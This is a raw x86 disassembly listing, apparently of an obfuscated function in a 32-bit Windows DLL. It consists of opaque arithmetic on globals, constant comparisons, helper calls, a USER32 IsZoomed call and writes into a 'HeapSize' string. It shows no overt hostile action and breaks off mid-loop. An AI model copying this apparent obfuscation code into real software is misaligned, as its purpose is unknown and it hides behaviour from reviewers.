call fcn.10073ef0
mov edx, dword [ebp - 0x30]
add edx, eax
mov dword [ebp - 0x30], edx
jmp 0x1004d906
movzx eax, byte [ebp - 3]
test eax, eax
je 0x1004d7de
movzx ecx, word [ebp - 0xc]
test ecx, ecx
jne 0x1004d74f
mov dword [ebp - 0x488], 1
jmp 0x1004d759
mov dword [ebp - 0x488], 0
mov edx, dword [ebp - 0x20]
imul edx, dword [ebp - 0x488]
mov word [0x100a2118], dx
mov eax, dword [ebp - 0x24]
xor ecx, ecx
push ecx
push eax
mov edx, dword [0x100a2144]
push edx
mov eax, dword [0x100a2140]
push eax
call fcn.10073ef0
mov dword [0x100a2140], eax
mov dword [0x100a2144], edx
mov eax, dword [ebp - 0x34]
add eax, 0xf55f
cdq
and eax, dword [ebp - 0x64]
and edx, dword [ebp - 0x60]
mov dword [ebp - 0x17fc], eax
mov dword [ebp - 0x17f8], edx
mov ecx, dword [ebp - 0x17fc]
or ecx, dword [ebp - 0x17f8]
jne 0x1004d7c3
mov dword [ebp - 0x48c], 1
jmp 0x1004d7cd
mov dword [ebp - 0x48c], 0
mov edx, dword [ebp - 0x48c]
mov dword [0x100a2100], edx
jmp 0x1004d906
cmp dword [ebp - 0x38], 0
jne 0x1004d7f8
xor eax, eax
mov dword [ebp - 0xfdc], 1
mov dword [ebp - 0xfd8], eax
jmp 0x1004d803
xorps xmm0, xmm0
movlpd qword [ebp - 0xfdc], xmm0
mov ecx, dword [0x100a2144]
cmp ecx, dword [ebp - 0xfd8]
jl 0x1004d906
jg 0x1004d829
mov edx, dword [0x100a2140]
cmp edx, dword [ebp - 0xfdc]
jb 0x1004d906
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x48]
mov edx, dword [ebp - 0x40]
sub eax, dword [ebp - 0x44]
sbb ecx, edx
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], ecx
mov eax, dword [0x100a2148]
mov ecx, dword [0x100a214c]
mov dword [ebp - 0x1804], eax
mov dword [ebp - 0x1800], ecx
mov edx, dword [ebp - 0x1804]
or edx, dword [ebp - 0x1800]
jne 0x1004d86e
mov dword [ebp - 0x490], 1
jmp 0x1004d878
mov dword [ebp - 0x490], 0
mov eax, dword [ebp - 0x490]
cdq
mov ecx, eax
mov esi, edx
movsx eax, byte [0x100a203b]
cdq
mov edi, dword [0x100a210c]
add eax, dword [0x100a2108]
adc edx, edi
push edx
push eax
push esi
push ecx
call fcn.10073ef0
mov dword [ebp - 0x180c], eax
mov dword [ebp - 0x1808], edx
mov edx, dword [ebp - 0x180c]
or edx, dword [ebp - 0x1808]
jne 0x1004d8c8
mov dword [ebp - 0x494], 1
jmp 0x1004d8d2
mov dword [ebp - 0x494], 0
movzx eax, byte [ebp - 2]
mov ecx, dword [0x100a20e4]
sub ecx, 0x82
imul eax, ecx
mov edx, dword [ebp - 0x494]
sub edx, eax
xor eax, eax
mov dword [0x100a2130], edx
mov dword [0x100a2134], eax
mov cx, word [ebp - 0x14]
sub cx, 1
mov word [ebp - 0x14], cx
mov edx, dword [0x100a2130]
mov eax, dword [0x100a2134]
mov dword [ebp - 0x1814], edx
mov dword [ebp - 0x1810], eax
cmp dword [ebp - 0x1814], 1
jne 0x1004dbb2
cmp dword [ebp - 0x1810], 0
jne 0x1004dbb2
movzx ecx, word [ebp - 8]
add ecx, dword [0x100a2128]
mov dword [0x100a2128], ecx
movzx edx, word [0x100a20e0]
test edx, edx
jne 0x1004d95e
mov dword [ebp - 0x49c], 1
jmp 0x1004d968
mov dword [ebp - 0x49c], 0
cmp dword [ebp - 0x30], 0
jne 0x1004d97a
mov dword [ebp - 0x498], 1
jmp 0x1004d984
mov dword [ebp - 0x498], 0
mov eax, dword [ebp - 0x498]
mov ecx, dword [ebp - 0x49c]
lea edx, [ecx + eax - 0xc2]
movsx eax, word [0x100a2110]
mov ecx, dword [0x100a2104]
add eax, dword [ebp - 0x34]
add ecx, eax
add edx, ecx
mov dword [0x100a20e4], edx
movzx edx, word [0x100a2138]
shl edx, 7
mov word [0x100a2138], dx
movsx eax, word [0x100a20f0]
imul eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
movzx eax, byte [ebp - 1]
cdq
push edx
push eax
mov ecx, dword [ebp - 0x50]
push ecx
mov edx, dword [ebp - 0x54]
push edx
call fcn.10073ef0
push 0
push 0x56
push edx
push eax
call fcn.10073ef0
mov esi, eax
not esi
movzx eax, word [0x100a2118]
not eax
imul eax, dword [ebp - 0x30]
xor ecx, ecx
mov edx, dword [0x100a2108]
mov edi, dword [0x100a210c]
push ecx
push eax
push edi
push edx
call fcn.10073ef0
sub esi, eax
mov dword [ebp - 0x28], esi
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 0x181c], eax
mov dword [ebp - 0x1818], ecx
mov edx, dword [ebp - 0x181c]
or edx, dword [ebp - 0x1818]
jne 0x1004da50
xor eax, eax
mov dword [ebp - 0xfec], 1
mov dword [ebp - 0xfe8], eax
jmp 0x1004da5b
xorps xmm0, xmm0
movlpd qword [ebp - 0xfec], xmm0
mov ecx, dword [0x100a2130]
mov edx, dword [0x100a2134]
mov dword [ebp - 0x1824], ecx
mov dword [ebp - 0x1820], edx
mov eax, dword [ebp - 0x1824]
or eax, dword [ebp - 0x1820]
jne 0x1004da8d
mov dword [ebp - 0x4a0], 1
jmp 0x1004da97
mov dword [ebp - 0x4a0], 0
mov ecx, dword [ebp - 0x4a0]
sub ecx, dword [ebp - 0x28]
jne 0x1004dab6
xor edx, edx
mov dword [ebp - 0xfe4], 1
mov dword [ebp - 0xfe0], edx
jmp 0x1004dac1
xorps xmm0, xmm0
movlpd qword [ebp - 0xfe4], xmm0
mov eax, dword [0x100a20d8]
xor ecx, ecx
mov edx, dword [0x100a20f8]
not edx
mov esi, dword [0x100a20fc]
not esi
sub eax, edx
sbb ecx, esi
add eax, dword [ebp - 0xfe4]
adc ecx, dword [ebp - 0xfe0]
add eax, dword [ebp - 0xfec]
adc ecx, dword [ebp - 0xfe8]
mov dword [ebp - 0x182c], eax
mov dword [ebp - 0x1828], ecx
mov eax, dword [ebp - 0x182c]
or eax, dword [ebp - 0x1828]
jne 0x1004db22
xor ecx, ecx
mov dword [ebp - 0xff4], 1
mov dword [ebp - 0xff0], ecx
jmp 0x1004db2d
xorps xmm0, xmm0
movlpd qword [ebp - 0xff4], xmm0
mov edx, dword [ebp - 0xff4]
mov eax, dword [ebp - 0xff0]
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x50], eax
jmp 0x1004dbb2
mov edx, 0x6d29
mov word [0x100a2110], dx
movzx eax, word [ebp - 8]
and eax, dword [0x100a20dc]
and eax, dword [0x100a20dc]
mov dword [0x100a20dc], eax
movsx ecx, word [0x100a20c8]
imul edx, ecx, 0x2e90
mov dword [0x100a20f4], edx
mov byte [str.HeapSize], 0xc6
movzx eax, byte [ebp - 1]
sub eax, 0x3c0c
mov dword [0x100a20e4], eax
mov ecx, 1
imul edx, ecx, 0xd1
mov al, byte [ebp - 0x28]
mov byte [edx + 0x102f2b18], al
movzx ecx, byte [ebp - 1]
test ecx, ecx
jne 0x1004dc23
mov dword [ebp - 0x4a4], 1
jmp 0x1004dc2d
mov dword [ebp - 0x4a4], 0
movzx edx, word [ebp - 0xc]
movzx eax, word [0x100a20e0]
imul edx, eax
movzx ecx, word [0x100a2124]
not ecx
imul ecx, dword [ebp - 0x4a4]
cmp edx, ecx
jg 0x1004dc5b
mov dword [ebp - 0x4ac], 1
jmp 0x1004dc65
mov dword [ebp - 0x4ac], 0
movzx edx, word [0x100a2118]
test edx, edx
je 0x1004dc7c
mov dword [ebp - 0x4a8], 1
jmp 0x1004dc86
mov dword [ebp - 0x4a8], 0
movzx eax, byte [ebp - 2]
add eax, dword [ebp - 0x4a8]
jne 0x1004dc9e
mov dword [ebp - 0x4b0], 1
jmp 0x1004dca8
mov dword [ebp - 0x4b0], 0
mov ecx, dword [ebp - 0x4ac]
imul ecx, dword [ebp - 0x4b0]
test ecx, ecx
je 0x1004dd90
movsx edx, word [0x100a20f0]
movzx eax, word [0x100a2138]
sub edx, eax
movsx ecx, word [0x100a20f0]
imul ecx, edx
mov word [0x100a20f0], cx
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x2a2c], eax
or ecx, edx
add ecx, dword [ebp - 0x28]
movzx eax, byte [0x100a207b]
movsx edx, byte [str.y4The_server_is_requ]
add eax, edx
sub eax, dword [0x100a2104]
cdq
sub ecx, eax
mov dword [0x100a2128], ecx
movzx eax, word [0x100a2138]
test eax, eax
je 0x1004dd2f
movzx eax, word [ebp - 8]
cdq
mov dword [ebp - 0xffc], eax
mov dword [ebp - 0xff8], edx
jmp 0x1004dd47
mov ecx, dword [0x100a20e8]
mov edx, dword [0x100a20ec]
mov dword [ebp - 0xffc], ecx
mov dword [ebp - 0xff8], edx
mov al, byte [ebp - 0xffc]
mov byte [0x100a2027], al
movzx ecx, word [ebp - 0xc]
not ecx
sub ecx, dword [ebp - 0x2c]
movzx edx, word [ebp - 8]
imul ecx, edx
mov word [0x100a20e0], cx
movzx eax, byte [ebp - 3]
movzx ecx, word [0x100a2138]
sub eax, ecx
mov word [0x100a2110], ax
movzx dx, byte [0x100a207a]
mov word [0x100a2124], dx
jmp 0x1004de43
cmp dword [ebp - 0x18], 0
jne 0x1004dda2
mov dword [ebp - 0x4b4], 1
jmp 0x1004ddac
mov dword [ebp - 0x4b4], 0
mov eax, dword [0x100a20dc]
not eax
imul eax, dword [ebp - 0x4b4]
movzx ecx, word [0x100a211c]
and ecx, dword [ebp - 0x24]
sub eax, ecx
mov dword [0x100a2104], eax
mov eax, dword [ebp - 0x64]
mov edx, dword [ebp - 0x60]
mov cl, 3
call fcn.10074000
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], edx
cmp dword [0x100a20d8], 0
jne 0x1004ddf3
mov dword [ebp - 0x4b8], 1
jmp 0x1004ddfd
mov dword [ebp - 0x4b8], 0
movsx edx, byte [0x100a2027]
imul edx, dword [0x100a2128]
movzx eax, word [ebp - 8]
sub edx, eax
imul ecx, dword [ebp - 0x4b8], 0x43475983
add edx, ecx
mov dword [0x100a2104], edx
mov edx, dword [0x100a2114]
mov eax, dword [0x100a20e4]
xor eax, dword [ebp - 0x28]
imul eax, dword [0x100a20e4]
lea ecx, [edx + eax - 0xe3f6bab]
mov word [ebp - 0xc], cx
mov edx, 2
shl edx, 0
xor eax, eax
mov word [ebp + edx - 0x110], ax
xor ecx, ecx
mov dword [0x100a20f8], 4
mov dword [0x100a20fc], ecx
movsx edx, word [ebp - 0x14]
movsx eax, byte [0x100a2027]
add edx, eax
movsx ecx, word [ebp - 0x14]
imul ecx, edx
mov word [ebp - 0x14], cx
mov edx, dword [0x100a2150]
mov eax, dword [0x100a2154]
mov dword [ebp - 0x1834], edx
mov dword [ebp - 0x1830], eax
mov ecx, dword [ebp - 0x1834]
or ecx, dword [ebp - 0x1830]
jne 0x1004deb0
mov dword [ebp - 0x4bc], 1
jmp 0x1004deba
mov dword [ebp - 0x4bc], 0
movzx eax, byte [ebp - 2]
add eax, dword [ebp - 0x4bc]
cdq
mov dword [0x100a2108], eax
mov dword [0x100a210c], edx
mov edx, dword [ebp - 0x20]
sar edx, 4
mov dword [0x100a20dc], edx
cmp dword [ebp - 0x34], 0
je 0x1004defb
mov eax, dword [0x100a20e8]
mov ecx, dword [0x100a20ec]
mov dword [ebp - 0x1004], eax
mov dword [ebp - 0x1000], ecx
jmp 0x1004df0f
movsx eax, word [0x100a20f0]
cdq
mov dword [ebp - 0x1004], eax
mov dword [ebp - 0x1000], edx
mov dx, word [ebp - 0x1004]
mov word [0x100a2110], dx
mov eax, dword [ebp - 0x30]
sub eax, 0x113457e3
mov word [ebp - 0xc], ax
mov ecx, dword [0x100a2108]
mov edx, dword [0x100a210c]
push 0
push 0xc820
push edx
push ecx
call fcn.10073ef0
mov dword [ebp - 0x30], eax
mov eax, dword [0x100a20f8]
mov ecx, dword [0x100a20fc]
mov dword [ebp - 0x2f8], eax
mov dword [ebp - 0x2f4], ecx
cmp dword [ebp - 0x2f4], 0
jl 0x1004e1a1
jg 0x1004df79
cmp dword [ebp - 0x2f8], 0
jb 0x1004e1a1
cmp dword [ebp - 0x2f4], 0
jg 0x1004e1a1
jl 0x1004df95
cmp dword [ebp - 0x2f8], 4
ja 0x1004e1a1
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x2ad8], edx
mov eax, dword [ebp - 0x2ad8]
jmp dword [eax*4 + 0x10071fa0]
mov ecx, 0x69
mov word [ebp - 0x114], cx
xor edx, edx
mov word [ebp - 0x112], dx
mov dword [0x100a2100], 0xd7d0
movzx eax, byte [ebp - 3]
cdq
push 0x6d6e6
push 0xf46a98f4
push edx
push eax
call fcn.10073ef0
mov dword [0x100a2148], eax
mov dword [0x100a214c], edx
mov ecx, dword [0x100a2150]
mov edx, dword [0x100a2154]
mov dword [ebp - 0x2a40], edx
not ecx
movzx eax, word [0x100a211c]
cdq
add ecx, eax
not ecx
mov dword [0x100a20d8], ecx
mov eax, dword [0x100a2140]
sub eax, 1
mov ecx, dword [0x100a2144]
sbb ecx, 0
mov dword [0x100a2140], eax
mov dword [0x100a2144], ecx
mov edx, dword [ebp - 0x2c]
xor eax, eax
add edx, 0xf2ea6d29
adc eax, 0x954a7
mov dword [ebp - 0x183c], edx
mov dword [ebp - 0x1838], eax
mov ecx, dword [0x100a2140]
cmp ecx, dword [ebp - 0x183c]
jne 0x1004e752
mov edx, dword [0x100a2144]
cmp edx, dword [ebp - 0x1838]
jne 0x1004e752
mov eax, dword [0x100a2120]
add eax, dword [ebp - 0x2c]
cmp eax, 1
jne 0x1004e752
mov ecx, dword [0x100a2104]
cmp ecx, dword [ebp - 0x28]
je 0x1004e28b
mov dword [ebp - 0x4c0], 1
jmp 0x1004e295
mov dword [ebp - 0x4c0], 0
cmp dword [0x100a2104], 0x42
je 0x1004e2aa
mov dword [ebp - 0x4c4], 1
jmp 0x1004e2b4
mov dword [ebp - 0x4c4], 0
mov edx, dword [ebp - 0x4c0]
cmp edx, dword [ebp - 0x4c4]
jl 0x1004e499
mov eax, dword [0x100a2114]
cmp dword [ebp - 0x20], eax
jge 0x1004e43b
mov ecx, dword [ebp - 0x34]
push ecx
call dword [sym.imp.USER32.dll_IsZoomed]
mov byte [ebp - 3], al
movzx edx, byte [ebp - 3]
test edx, edx
je 0x1004e3f9
mov eax, dword [0x100a2114]
not eax
sub eax, dword [ebp - 0x20]
mov dword [0x100a2104], eax
mov eax, dword [0x100a2104]
sar eax, 4
cdq
mov dword [0x100a2150], eax
mov dword [0x100a2154], edx
mov ecx, dword [ebp - 0x1c]
not ecx
and ecx, dword [0x100a20f4]
jne 0x1004e331
xor edx, edx
mov dword [ebp - 0x1014], 1
mov dword [ebp - 0x1010], edx
jmp 0x1004e33c
xorps xmm0, xmm0
movlpd qword [ebp - 0x1014], xmm0
mov eax, dword [0x100a2130]
mov ecx, dword [0x100a2134]
add eax, 0x146ec6cf
adc ecx, 0x8a476
mov edx, dword [ebp - 0x1014]
sub edx, eax
mov eax, dword [ebp - 0x1010]
sbb eax, ecx
mov dword [ebp - 0x1844], edx
mov dword [ebp - 0x1840], eax
mov ecx, dword [ebp - 0x1844]
or ecx, dword [ebp - 0x1840]
jne 0x1004e388
mov dword [ebp - 0x4c8], 1
jmp 0x1004e392
mov dword [ebp - 0x4c8], 0
mov edx, dword [0x100a20dc]
not edx
add edx, 0x37df
imul eax, dword [0x100a2100], 0xdd939173
imul edx, eax
sub edx, dword [ebp - 0x4c8]
mov dword [0x100a20e4], edx
mov ecx, dword [ebp - 0x24]
shr ecx, 1
xor edx, edx
mov dword [0x100a20e8], ecx
mov dword [0x100a20ec], edx
mov eax, dword [0x100a2150]
mov ecx, dword [0x100a2154]
push 0
push 0xfc99
push ecx
push eax
call fcn.10073ef0
mov dword [0x100a20e4], eax
movzx edx, word [0x100a20e0]
mov dword [0x100a2104], edx
jmp 0x1004e439
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x58]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], ecx
movsx eax, byte [str.y4The_server_is_requ]
cdq
push 0xdadab
push 0x3a1ed15c
push edx
push eax
call fcn.10073ef0
mov dword [0x100a20f8], eax
mov dword [0x100a20fc], edx
movsx edx, word [0x100a20c8]
shl edx, 7
mov dword [0x100a20e4], edx
jmp 0x1004e494
mov eax, dword [0x100a20e8]
mov ecx, dword [0x100a20ec]
push 0
push 0x38
push ecx
push eax
call fcn.10073ef0
mov dword [0x100a20d8], eax
movzx edx, byte [0x100a207b]
movsx eax, word [0x100a20f0]
add edx, eax
mov byte [0x100a207b], dl
mov eax, dword [0x100a20f4]
cdq
mov ecx, eax
mov edx, dword [0x100a2150]
mov eax, dword [0x100a2154]
mov dword [ebp - 0x2a44], eax
add ecx, edx
mov eax, dword [0x100a20f4]
cdq
or eax, ecx
mov dword [0x100a20f4], eax
jmp 0x1004e580
mov eax, dword [ebp - 0x38]
cdq
mov ecx, dword [0x100a2130]
mov esi, dword [0x100a2134]
mov dword [ebp - 0x184c], eax
mov dword [ebp - 0x1848], edx
mov dword [ebp - 0x1854], ecx
mov dword [ebp - 0x1850], esi
mov edx, dword [ebp - 0x1848]
cmp edx, dword [ebp - 0x1850]
jb 0x1004e4eb
ja 0x1004e4df
mov eax, dword [ebp - 0x184c]
cmp eax, dword [ebp - 0x1854]
jb 0x1004e4eb
mov dword [ebp - 0x4cc], 1
jmp 0x1004e4f5
mov dword [ebp - 0x4cc], 0
mov ecx, dword [ebp - 0x4cc]
not ecx
test ecx, ecx
je 0x1004e580
mov edx, 0x47af
mov word [0x100a211c], dx
mov eax, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x48]
mov cl, 2
call fcn.10073f30
mov word [ebp - 0x10], ax
movzx eax, word [ebp - 0xc]
add eax, dword [ebp - 0x28]
movzx ecx, word [ebp - 0xc]
add ecx, eax
mov word [ebp - 0xc], cx
movzx eax, byte [0x100a207b]
cdq
mov ecx, dword [ebp - 0x58]
push ecx
mov ecx, dword [ebp - 0x5c]
push ecx
push edx
push eax
call fcn.10073ef0
mov ecx, eax
movzx eax, byte [0x100a207b]
cdq
sub eax, ecx
mov byte [0x100a207b], al
movzx eax, word [0x100a2124]
cdq
sub eax, 0x21849529
mov dword [ebp - 0x30], eax
movzx edx, byte [0x100a207b]
xor edx, 0x28
movsx eax, word [0x100a20c8]
or eax, edx
mov word [0x100a20c8], ax
jmp 0x1004e1b6
movsx eax, word [ebp - 0x14]
cdq
mov ecx, dword [0x100a2108]
mov esi, dword [0x100a210c]
mov dword [ebp - 0x186c], eax
mov dword [ebp - 0x1868], edx
mov dword [ebp - 0x1874], ecx
mov dword [ebp - 0x1870], esi
mov edx, dword [ebp - 0x1868]
cmp edx, dword [ebp - 0x1870]
ja 0x1004ea21
jb 0x1004e7a1
mov eax, dword [ebp - 0x186c]
cmp eax, dword [ebp - 0x1874]
jae 0x1004ea21
mov ecx, dword [ebp - 0x18]
cmp dword [0x100a2128], ecx
jge 0x1004e7b8
mov dword [ebp - 0x4e0], 1
jmp 0x1004e7c2
mov dword [ebp - 0x4e0], 0
cmp dword [0x100a2128], 0x4b
jge 0x1004e7d7
mov dword [ebp - 0x4e4], 1
jmp 0x1004e7e1
mov dword [ebp - 0x4e4], 0
mov edx, dword [ebp - 0x4e0]
cmp edx, dword [ebp - 0x4e4]
jg 0x1004e936
movzx eax, byte [ebp - 3]
test eax, eax
jne 0x1004e80f
movzx ecx, word [ebp - 8]
test ecx, ecx
jne 0x1004e80f
mov dword [ebp - 0x4e8], 0
jmp 0x1004e819
mov dword [ebp - 0x4e8], 1
movzx edx, word [0x100a211c]
test edx, edx
je 0x1004e836
cmp dword [ebp - 0x28], 0
je 0x1004e836
mov dword [ebp - 0x4ec], 1
jmp 0x1004e840
mov dword [ebp - 0x4ec], 0
mov eax, dword [ebp - 0x4e8]
cmp eax, dword [ebp - 0x4ec]
jne 0x1004e885
movzx ecx, byte [str.HeapSize]
sub ecx, 0xdb87
mov word [ebp - 8], cx
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x2a4c], eax
add edx, 0xbe14fa77
mov dword [ebp - 0x18], edx
mov ecx, 2
mov word [0x100a2110], cx
jmp 0x1004e931
movzx eax, word [0x100a20e0]
not eax
cdq
mov dword [ebp - 0x187c], eax
mov dword [ebp - 0x1878], edx
mov edx, dword [ebp - 0x187c]
cmp edx, dword [0x100a20f8]
jne 0x1004e8b7
mov eax, dword [ebp - 0x1878]
cmp eax, dword [0x100a20fc]
je 0x1004e8c3
mov dword [ebp - 0x4f0], 1
jmp 0x1004e8cd
mov dword [ebp - 0x4f0], 0
movzx ecx, word [0x100a2138]
add ecx, 0x9f
cmp dword [ebp - 0x4f0], ecx
je 0x1004e931
movzx edx, word [ebp - 8]
add edx, dword [ebp - 0x34]
mov word [ebp - 8], dx
mov eax, dword [0x100a2114]
cdq
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], edx
movsx eax, byte [0x100a2027]
mov ecx, 4
imul edx, ecx, 0x47db
mov dword [edx + 0x100b35b8], eax
mov eax, dword [ebp - 0x24]
add eax, 0x5e
mov dword [ebp - 0x3c], eax
movzx ecx, word [ebp - 8]
movsx edx, word [0x100a20c8]
sub ecx, edx
movzx eax, word [ebp - 8]
add eax, ecx
mov word [ebp - 8], ax
jmp 0x1004ea1c
mov ecx, dword [0x100a2100]
cmp ecx, dword [0x100a2128]
je 0x1004e950
mov dword [ebp - 0x4f8], 1
jmp 0x1004e95a
mov dword [ebp - 0x4f8], 0
cmp dword [ebp - 0x1c], 0
je 0x1004e972
cmp dword [ebp - 0x34], 0
jne 0x1004e972
mov dword [ebp - 0x4f4], 0
jmp 0x1004e97c
mov dword [ebp - 0x4f4], 1
mov edx, dword [ebp - 0x4f4]
not edx
cmp dword [ebp - 0x4f8], edx
jge 0x1004ea1c
movsx eax, word [0x100a20f0]
movzx ecx, word [0x100a2138]
sub eax, ecx
mov edx, dword [0x100a2128]
add edx, dword [0x100a20d8]
imul eax, edx
mov ecx, dword [ebp - 0x2c]
mov edx, dword [0x100a2130]
mov esi, dword [0x100a2134]
mov dword [ebp - 0x2a50], esi
and ecx, edx
mov edx, dword [0x100a20e8]
mov esi, dword [0x100a20ec]
mov dword [ebp - 0x2a54], esi
xor edx, dword [ebp - 0x5c]
add ecx, edx
not ecx
sub eax, ecx
mov byte [0x100a203b], al
mov eax, dword [0x100a2128]
cdq
add eax, dword [0x100a20d0]
adc edx, dword [0x100a20d4]
mov dword [0x100a20d0], eax
mov dword [0x100a20d4], edx
mov dword [0x100a20dc], 0x9a5be378
mov eax, dword [0x100a20f4]
sub eax, 0x686fe6e2
mov dword [0x100a20e4], eax
jmp 0x1004eac8
mov ecx, 1
test ecx, ecx
je 0x1004eac8
movzx edx, word [ebp - 8]
imul eax, edx, 0x6993
mov byte [0x100a2027], al
mov ecx, dword [0x100a2c3c]
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x20], 0
jne 0x1004ea58
mov dword [ebp - 0x4fc], 1
jmp 0x1004ea62
mov dword [ebp - 0x4fc], 0
mov edx, dword [0x100a2104]
not edx
movzx eax, word [ebp - 8]
add edx, eax
mov ecx, dword [ebp - 0x3c]
xor ecx, dword [ebp - 0x4fc]
xor edx, ecx
jne 0x1004ea91
xor edx, edx
mov dword [ebp - 0x1884], 1
mov dword [ebp - 0x1880], edx
jmp 0x1004ea9c
xorps xmm0, xmm0
movlpd qword [ebp - 0x1884], xmm0
movsx eax, byte [0x100a203b]
add eax, dword [0x100a2128]
cdq
add eax, dword [ebp - 0x54]
not eax
add eax, dword [ebp - 0x1884]
mov byte [ebp - 2], al
movzx eax, byte [ebp - 2]
imul ecx, eax, 0x9209
mov byte [0x100a2027], cl
mov dword [ebp - 0xe8], 0
mov dword [ebp - 0x78], 0
jmp 0x1004eaea
mov edx, dword [ebp - 0xe8]
add edx, 1
mov dword [ebp - 0xe8], edx
cmp dword [ebp - 0xe8], 1
jae 0x10050179
mov eax, dword [ebp - 0x5c]
or eax, dword [ebp - 0x58]
jne 0x1004eb0b
mov dword [ebp - 0x500], 1
jmp 0x1004eb15
mov dword [ebp - 0x500], 0
mov eax, dword [ebp - 0x20]
cdq
mov ecx, eax
mov edx, dword [0x100a2148]
mov eax, dword [0x100a214c]
mov dword [ebp - 0x2a58], eax
add ecx, edx
mov eax, dword [0x100a20f4]
sub eax, dword [ebp - 0x500]
not eax
cdq
add ecx, eax
mov dword [ebp - 0x2c], ecx
xor ecx, ecx
mov dword [0x100a20f8], 0x3e5c1148
mov dword [0x100a20fc], ecx
cmp dword [0x100a2114], 0
jne 0x1004eb68
mov dword [ebp - 0x504], 1
jmp 0x1004eb72
mov dword [ebp - 0x504], 0
mov edx, dword [ebp - 0x24]
xor edx, dword [ebp - 0x504]
jne 0x1004eb89
mov dword [ebp - 0x508], 1
jmp 0x1004eb93
mov dword [ebp - 0x508], 0
mov eax, dword [ebp - 0x18]
add eax, dword [0x100a2104]
jne 0x1004ebaa
mov dword [ebp - 0x50c], 1
jmp 0x1004ebb4
mov dword [ebp - 0x50c], 0
movzx ecx, byte [ebp - 3]
not ecx
imul ecx, dword [ebp - 0x508]
movzx edx, byte [ebp - 3]
not edx
mov eax, dword [ebp - 0x18]
imul eax, edx
xor eax, dword [ebp - 0x50c]
add ecx, eax
mov word [ebp - 8], cx
movzx eax, byte [ebp - 1]
cdq
add eax, dword [ebp - 0x5c]
adc edx, dword [ebp - 0x58]
or eax, dword [ebp - 0x5c]
or edx, dword [ebp - 0x58]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], edx
movsx ecx, word [0x100a20f0]
sub ecx, dword [ebp - 0x3c]
movsx edx, word [0x100a20f0]
sub edx, ecx
mov word [0x100a20f0], dx
movzx eax, word [0x100a2124]
cdq
mov ecx, eax
mov edx, 0x87
sub edx, dword [ebp - 0x5c]
add ecx, edx
movsx eax, word [0x100a20c8]
cdq
mov edx, dword [ebp - 0x64]
sub edx, eax
movzx eax, word [0x100a2138]
mov esi, dword [ebp - 0x28]
sub esi, eax
sub edx, esi
add ecx, edx
mov word [ebp - 0x14], cx
mov byte [str.HeapSize], 0x3f
mov byte [ebp - 1], 0
movsx ecx, word [ebp - 0x14]
add ecx, dword [ebp - 0x20]
movsx edx, word [ebp - 0x14]
imul edx, ecx
mov word [ebp - 0x14], dx
mov eax, dword [ebp - 0x20]
cdq
mov ecx, dword [0x100a2150]
mov edx, dword [0x100a2154]
mov dword [ebp - 0x2a5c], edx
sub eax, ecx
mov dword [ebp - 0x20], eax
cmp dword [0x100a2128], 0
je 0x1004ec94
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x58]
mov dword [ebp - 0x101c], eax
mov dword [ebp - 0x1018], ecx
jmp 0x1004eca5
movzx eax, word [ebp - 0xc]
cdq
mov dword [ebp - 0x101c], eax
mov dword [ebp - 0x1018], edx
mov edx, dword [ebp - 0x101c]
mov dword [0x100a2104], edx
mov eax, dword [ebp - 0x18]
cdq
mov dword [0x100a2140], eax
mov dword [0x100a2144], edx
mov eax, dword [ebp - 0x5c]
not eax
movzx ecx, word [0x100a2124]
not ecx
movzx edx, word [0x100a2118]
imul edx, dword [0x100a20e4]
add ecx, edx
sub eax, ecx
mov dword [0x100a20e4], eax
mov eax, 0x516e
mov dword [ebp - 0x64], 0xc2581d3e
mov dword [ebp - 0x60], eax
mov cl, byte [ebp - 1]
mov byte [ebp - 0x153c], cl
cmp byte [ebp - 0x153c], 0
je 0x1004ed0b
jmp 0x1004ed9f
mov eax, dword [0x100a20e8]
mov edx, dword [0x100a20ec]
mov cl, 8
call fcn.10073f30
mov word [0x100a20e0], ax
mov eax, dword [ebp - 0x34]
cdq
mov ecx, dword [0x100a2150]
mov esi, dword [0x100a2154]
sub ecx, eax
sbb esi, edx
mov dword [0x100a2150], ecx
mov dword [0x100a2154], esi
movzx edx, word [0x100a2138]
add edx, 0xe7893dc
mov dword [0x100a2120], edx
movsx eax, byte [0x100a203b]
not eax
cdq
mov ecx, dword [0x100a20e8]
mov esi, dword [0x100a20ec]
push esi
push ecx
push edx
push eax
call fcn.10073ef0
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], edx
mov edx, dword [ebp - 0x24]
add edx, 0x3ba7ec8c
movsx eax, byte [0x100a203b]
imul eax, edx
mov byte [0x100a203b], al
mov ecx, dword [0x100a2100]
shl ecx, 3
mov byte [ebp - 3], cl
mov edx, dword [0x100a2130]
mov eax, dword [0x100a2134]
mov ecx, dword [ebp - 0x2c]
sub ecx, 0x1d576d85
xor esi, esi
mov dword [ebp - 0x188c], edx
mov dword [ebp - 0x1888], eax
mov dword [ebp - 0x1894], ecx
mov dword [ebp - 0x1890], esi
mov edx, dword [ebp - 0x188c]
cmp edx, dword [ebp - 0x1894]
jne 0x1004ef85
mov eax, dword [ebp - 0x1888]
cmp eax, dword [ebp - 0x1890]
jne 0x1004ef85
movzx eax, word [ebp - 8]
cdq
mov ecx, dword [0x100a2150]
mov esi, dword [0x100a2154]
add ecx, eax
adc esi, edx
mov dword [ebp - 0x189c], ecx
mov dword [ebp - 0x1898], esi
cmp dword [ebp - 0x189c], 1
jne 0x1004ef85
cmp dword [ebp - 0x1898], 0
jne 0x1004ef85
mov dword [ebp - 0x18c], 0
jmp 0x1004ee47
mov edx, dword [ebp - 0x18c]
add edx, 2
mov dword [ebp - 0x18c], edx
cmp dword [ebp - 0x18c], 0x1ee
